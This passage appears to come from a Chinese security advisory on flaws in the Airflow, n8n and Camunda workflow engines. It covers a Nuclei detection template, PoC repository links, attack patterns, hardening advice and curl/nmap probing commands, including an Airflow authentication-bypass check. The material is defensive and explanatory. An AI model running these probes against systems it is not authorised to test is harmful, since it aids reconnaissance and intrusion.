    Camunda BPM 存在 Groovy 脚本注入远程代码执行漏洞
  reference:
    - https://docs.camunda.org/security-advisories/
  tags: camunda,rce,groovy,cve-2023-37928,bpmn

http:
  - method: GET
    path:
      - "{{BaseURL}}/engine-rest/engine"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "name"
          - "default"
        condition: and
        part: body

0x07 PoC 收集情况总表

CVE / 漏洞GitHub PoCExploit-DBMetasploitNuclei在野利用
CVE-2023-22814 (Airflow SSRF)✅ 多个仓库✅ 云环境
CVE-2023-22815 (Airflow 路径穿越)✅ 有限⚠️ 侦察阶段
CVE-2023-3428 (Airflow 认证绕过)✅ 多个仓库⚠️ 初期利用
n8n 未授权访问✅ 多个仓库✅ 广泛存在
n8n VM2 沙箱逃逸✅ 多个仓库有限⚠️ 组合利用
CVE-2023-37928 (Camunda RCE)✅ 多个仓库⚠️ 初期利用

关键 PoC 仓库

  • Airflow CVE-2023-22814https://github.com/charlesbel/Airflow-CVE-2023-22814 — Python SSRF 利用
  • Airflow CVE-2023-3428https://github.com/CompassSecurity/CVE-2023-3428 — 认证绕过检测
  • n8n VM2 逃逸https://github.com/AvishekJ/n8n-CVE-2023-32314 — VM2 沙箱逃逸 PoC
  • Camunda CVE-2023-37928https://github.com/bayuncao/CVE-2023-37928 — Groovy RCE 利用

验证思路(防守型)

# Airflow — 检测版本和 API 暴露
nuclei -u http://target:8080 -tags airflow
curl -s http://target:8080/api/v1/version

# n8n — 检测未授权访问
nuclei -u http://target:5678 -tags n8n
curl -s http://target:5678/rest/workflows | head -c 200

# Camunda — 检测 REST API 暴露
nuclei -u http://target:8080 -tags camunda
curl -s http://target:8080/engine-rest/engine

0x08 共性攻击模式

8.1 API 接口缺乏输入验证是工作流引擎的头号杀手

Airflow 的 SSRF(CVE-2023-22814)、路径穿越(CVE-2023-22815)和 Camunda 的 Groovy 脚本注入(CVE-2023-37928)本质上都是 API 接口缺乏输入验证的产物。工作流引擎的 REST API 设计初衷是为管理员和自动化工具提供便捷的流程编排能力,但在实现过程中往往忽视了对输入参数的安全校验,导致攻击者可以通过构造恶意参数触发 SSRF、路径穿越、命令注入等漏洞。

8.2 默认配置不安全

n8n 的认证可选、Airflow 的默认启用实验性认证后端——这些设计决策都源于产品默认配置的不安全性。运维人员在部署时如果不主动加固,系统天然处于高危状态。工作流引擎通常存储大量第三方服务凭据,默认配置不安全意味着这些凭据直接暴露在攻击面之下。

8.3 脚本执行能力是双刃剑

n8n 的 Code 节点和 Camunda 的 Script Task 都赋予了工作流强大的可编程能力,但同时也引入了代码执行风险。当脚本执行缺乏有效的沙箱隔离时,拥有工作流编辑权限的用户即可实现服务器级别的远程代码执行。

8.4 认证机制缺陷放大攻击面

Airflow 的认证绕过(CVE-2023-3428)和 n8n 的认证可选设计,都说明工作流引擎在认证机制上存在系统性不足。认证缺陷使得原本需要合法凭据才能触发的漏洞(如 SSRF、RCE)变成了零门槛可利用的状态,极大降低了攻击成本。

8.5 工作流引擎被攻破的连锁效应

工作流引擎在企业 IT 架构中处于核心编排位置,一旦被攻破,影响远超单一应用:

  1. 凭据泄露:工作流引擎中存储着数据库密码、API Token、云服务密钥等大量凭据
  2. SSRF 跳板:工作流引擎通常部署在内网核心区域,可作为 SSRF 跳板探测和攻击内网服务
  3. 供应链污染:通过篡改工作流定义,可以间接影响所有被编排的业务系统
  4. 云账户接管:在云环境中,通过 SSRF 获取元数据服务中的 IAM 凭证可接管整个云账户
  5. 持久化控制:攻击者可以创建隐蔽的工作流任务作为持久化后门

0x09 防守建议

9.1 紧急措施

  1. 立即升级
    • Apache Airflow → 2.5.2+(修复 CVE-2023-22814/22815)→ 2.6.5+(修复 CVE-2023-3428)
    • Camunda BPM → 7.19.0+
    • n8n → 1.0.0+(移除 VM2 依赖)
  2. 强制认证:n8n 必须配置 N8N_AUTH_DEFAULT_USERN8N_AUTH_DEFAULT_PASSWORD 环境变量
  3. 网络隔离:所有工作流引擎管理端口禁止直接暴露到互联网
  4. 禁用实验性功能:Airflow 禁用实验性认证后端,仅使用标准认证机制

9.2 排查清单

# 1. 扫描暴露在互联网上的工作流引擎端口
nmap -sV -p 8080,5678,8080-8085 <target_range>

# 2. 检查 Airflow 版本
curl -s http://target:8080/api/v1/version

# 3. 检查 Airflow 认证绕过
curl -s -H "X-Experiment-Auth: true" -H "Authorization: Bearer test" http://target:8080/api/v1/dags

# 4. 检查 n8n 未授权访问
curl -s http://target:5678/rest/workflows | head -c 200

# 5. 检查 Camunda REST API
curl -s http://target:8080/engine-rest/engine

# 6. 检查 Airflow 连接配置(排查 SSRF 恶意连接)
curl -s http://target:8080/api/v1/connections -H "Authorization: Bearer <token>" | jq '.connections[] | select(.host | contains("169.254"))'

# 7. 检查工作流引擎进程连接
ss -tlnp | grep -E '8080|5678'

# 8. 检查 n8n 认证配置
grep -r "N8N_AUTH" /path/to/n8n/config/

9.3 中期加固

  1. 启用强认证:所有工作流引擎启用 OAuth2 / OIDC 认证,禁止匿名访问
  2. 最小权限:为每个自动化任务分配独立的服务账号,禁止共享凭据
  3. 脚本沙箱:n8n 升级到不使用 VM2 的新版本;Camunda 禁用或限制 Script Task 的脚本语言
  4. 网络分段:工作流引擎部署在内网隔离区域,通过反向代理和 WAF 进行访问控制
  5. 审计日志:开启工作流引擎的审计日志,记录所有 API 调用、工作流创建和修改操作
  6. 凭据加密:工作流引擎中存储的第三方凭据使用外部密钥管理系统(如 Vault)进行管理
  7. 监控告警:部署针对工作流引擎的异常行为监控,包括异常 API 调用、新工作流创建、凭据访问等

0x0A 参考资料